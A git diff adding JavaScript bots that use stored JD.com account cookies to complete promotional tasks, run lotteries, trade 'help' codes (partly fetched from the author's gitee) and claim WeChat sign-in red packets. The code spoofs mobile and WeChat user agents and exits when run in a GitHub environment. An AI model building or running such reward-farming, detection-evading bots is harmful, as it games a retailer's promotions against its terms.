console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < appIdArr.length; j++) { + appId = appIdArr[j] + appName = appNameArr[j] + console.log(`\n开始第${j + 1}个活动:${appName}\n`) + await jd_wish(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage) + } + let res = await getAuthorShareCode('https://gitee.com/KingRan521/JD-Scripts/raw/master/shareCodes/wish.json') + $.shareCode = [...$.shareCode, ...(res || [])] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + console.log(`开始内部助力\n`) + for (let v = 0; v < appIdArr.length; v++) { + $.canHelp = true + appId = appIdArr[v] + appName = appNameArr[v] + console.log(`开始助力第${v + 1}个活动:${appName}\n`) + for (let j = 0; j < $.shareCode.length && $.canHelp; j++) { + if ($.shareCode[j].appId === appId) { + console.log(`${$.UserName} 去助力 ${$.shareCode[j].use} 的助力码 ${$.shareCode[j].code}`) + if ($.UserName == $.shareCode[j].use) { + console.log(`不能助力自己\n`) + continue + } + $.delcode = false + await harmony_collectScore({"appId":appId,"taskToken":$.shareCode[j].code,"actionType":"0","taskId":"6"}) + await $.wait(2000) + if ($.delcode) { + $.shareCode.splice(j, 1) + j-- + continue + } + } + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_wish() { + try { + await healthyDay_getHomeData(); + await $.wait(2000) + + let getHomeDataRes = (await healthyDay_getHomeData(false)).data.result.userInfo + let forNum = Math.floor(getHomeDataRes.userScore / getHomeDataRes.scorePerLottery) + await $.wait(2000) + + if (forNum === 0) { + console.log(`没有抽奖机会\n`) + } else { + console.log(`可以抽奖${forNum}次,去抽奖\n`) + } + + $.canLottery = true + for (let j = 0; j < forNum && $.canLottery; j++) { + await interact_template_getLotteryResult() + await $.wait(2000) + } + + } catch (e) { + $.logErr(e) + } +} + +async function healthyDay_getHomeData(type = true) { + return new Promise(async resolve => { + // console.log(taskUrl('healthyDay_getHomeData', { "appId": appId, "taskToken": "", "channelId": 1 })); + $.post(taskUrl('healthyDay_getHomeData', { "appId": appId, "taskToken": "", "channelId": 1 }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getHomeData API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data); + if (type) { + for (let key of Object.keys(data.data.result.hotTaskVos).reverse()) { + let vo = data.data.result.hotTaskVos[key] + if (vo.status !== 2) { + if (vo.taskType === 13 || vo.taskType === 12) { + console.log(`点击热区`) + await harmony_collectScore({ "appId": appId, "taskToken": vo.simpleRecordInfoVo.taskToken, "taskId": vo.taskId, "actionType": "0" }, vo.taskType) + } else { + console.log(`【${vo.taskName}】已完成\n`) + } + } + } + for (let key of Object.keys(data.data.result.taskVos).reverse()) { + let vo = data.data.result.taskVos[key] + if (vo.status !== 2) { + if (vo.taskType === 13 || vo.taskType === 12) { + console.log(`签到`) + await harmony_collectScore({ "appId": appId, "taskToken": vo.simpleRecordInfoVo.taskToken, "taskId": vo.taskId, "actionType": "0" }, vo.taskType) + } else if (vo.taskType === 1) { + for (let key of Object.keys(vo.followShopVo)) { + let followShopVo = vo.followShopVo[key] + if (followShopVo.status !== 2) { + console.log(`【${followShopVo.shopName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": followShopVo.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 5) { + for (let key of Object.keys(vo.browseShopVo)) { + let browseShopVo = vo.browseShopVo[key] + if (browseShopVo.status !== 2) { + console.log(`【${browseShopVo.skuName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": browseShopVo.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 15) { + for (let key of Object.keys(vo.productInfoVos)) { + let productInfoVos = vo.productInfoVos[key] + if (productInfoVos.status !== 2) { + console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 3) { + for (let key of Object.keys(vo.shoppingActivityVos)) { + let shoppingActivityVos = vo.shoppingActivityVos[key] + if (shoppingActivityVos.status !== 2) { + console.log(`【${vo.subTitleName}】`) + await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 8) { + for (let key of Object.keys(vo.productInfoVos)) { + let productInfoVos = vo.productInfoVos[key] + if (productInfoVos.status !== 2) { + console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "1" }) + await $.wait(vo.waitDuration * 1000) + await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 27 && vo.taskId === 18) { + console.log(`【${vo.subTitleName}】`) + await harmony_collectScore({ "appId": appId, "taskToken": vo.productInfoVos[0].taskToken, "taskId": vo.taskId, "actionType": "0" }) + } else if (vo.taskType === 9 || vo.taskType === 26) { + for (let key of Object.keys(vo.shoppingActivityVos)) { + let shoppingActivityVos = vo.shoppingActivityVos[key] + if (shoppingActivityVos.status !== 2) { + console.log(`【${shoppingActivityVos.title}】${vo.subTitleName}`) + if (vo.taskType === 9) { + await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "1" }) + await $.wait(vo.waitDuration * 1000) + } + await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 14) { + console.log(`【京东账号${$.index}(${$.UserName})的${appName}好友互助码】${vo.assistTaskDetailVo.taskToken}\n`) + if (vo.times !== vo.maxTimes) { + $.shareCode.push({ + "code": vo.assistTaskDetailVo.taskToken, + "appId": appId, + "use": $.UserName + }) + } + } + } else { + console.log(`【${vo.taskName}】已完成\n`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function harmony_collectScore(body = {}, taskType = '') { + return new Promise(resolve => { + $.post(taskUrl('harmony_collectScore', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} collectScore API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.data && data.data.bizCode === 0) { + if (taskType === 13) { + console.log(`签到成功:获得${data.data.result.score}金币\n`) + } else if (body.taskId == 5) { + console.log(`助力成功:您的好友获得${data.data.result.score}金币\n`) + } else { + console.log(`完成任务:获得${data.data.result.score}金币\n`) + } + } else { + if (taskType === 13) { + console.log(`签到失败:${data.data.bizMsg}\n`) + } else if (body.taskId == 5) { + console.log(`助力失败:${data.data.bizMsg || data.msg}\n`) + if (data.code === -30001 || (data.data && data.data.bizCode === 108)) $.canHelp = false + if (data.data.bizCode === 103) $.delcode = true + } else { + console.log(body.actionType === "0" ? `完成任务失败:${data.data.bizMsg}\n` : data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function interact_template_getLotteryResult() { + return new Promise(resolve => { + $.post(taskUrl('interact_template_getLotteryResult', {"appId":appId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getLotteryResul API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userAwardsCacheDto = data && data.data && data.data.result && data.data.result.userAwardsCacheDto; + if (userAwardsCacheDto) { + if (userAwardsCacheDto.type === 2) { + console.log(`抽中:${userAwardsCacheDto.jBeanAwardVo.quantity}${userAwardsCacheDto.jBeanAwardVo.ext || `京豆`}`); + } else if (userAwardsCacheDto.type === 0) { + console.log(`很遗憾未中奖~`) + } else if (userAwardsCacheDto.type === 1) { + console.log(`抽中:${userAwardsCacheDto.couponVo.prizeName},金额${userAwardsCacheDto.couponVo.usageThreshold}-${userAwardsCacheDto.couponVo.quota},使用时间${userAwardsCacheDto.couponVo.useTimeRange}`); + } else { + console.log(`抽中:${JSON.stringify(data)}`); + message += `抽中:${JSON.stringify(data)}\n`; + } + } else { + $.canLottery = false + console.log(`此活动已黑,无法抽奖\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4FdmTJQNah9oDJyQN8NggvRi1nEY/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_wq_wxsign.js b/jd_wq_wxsign.js new file mode 100644 index 0000000..6f0f8dd --- /dev/null +++ b/jd_wq_wxsign.js @@ -0,0 +1,105 @@ +/* +微信签到领红包 +by:小手冰凉 tg:@chianPLA +交流群:https://t.me/jdPLA2 +脚本更新时间:2022-01-01 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +*/ +const $ = new Env("微信签到领红包"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const request = require('request'); +let cookiesArr = [], cookie = '' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + await signTask(); //京东超市 +} + +//京东超市 +function signTask() { + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/signTask/doSignTask?functionId=SignComponent_doSignTask&appid=hot_channel&loginWQBiz=signcomponent&loginType=2&body={"activityId":"10002"}&g_ty=ls&g_tk=1294369933`, + headers: { + "Host": "api.m.jd.com", + "charset": "utf-8", + "Connection": "keep-alive", + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', + 'referer': 'https://servicewechat.com/wx91d27dbf599dff74/581/page-frame.html', + "User-Agent": 'Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.1.0.314) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/11.1.5.320 Mobile Safari/537.36', + "cookie": "wxapp_type=15;wxapp_version=7.10.140;wxapp_scene=1001;pinStatus=0;" + cookie, + "Accept-Encoding": "gzip,compress,br,deflate", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + console.log(`signTask api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.subCode == 0) { + console.log(`签到: ${data?.data?.signDays}天, 获得红包: ${data?.data?.rewardValue}元`); + } else { + console.log(data.message); + } + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": 'Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64', "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = 